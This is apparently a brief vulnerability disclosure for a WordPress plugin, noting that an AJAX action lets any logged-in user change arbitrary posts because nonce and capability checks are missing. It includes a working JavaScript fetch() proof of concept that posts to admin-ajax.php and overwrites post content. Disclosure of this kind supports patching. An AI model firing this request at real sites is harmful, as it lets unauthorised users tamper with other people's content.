The plugin does not perform any kind of nonce or privilege checks before letting logged-in users modify arbitrary posts.
fetch('http://localhost/wp-admin/admin-ajax.php', {
method: 'POST',
headers: new Headers({
'Content-Type': 'application/x-www-form-urlencoded',
}),
body: 'action=wpaicg_set_post_content_&post_id=1&content=CHANGED',
redirect: 'follow'
}).then(response => response.text()).then(result => console.log(result)).catch(error => console.log('error', error));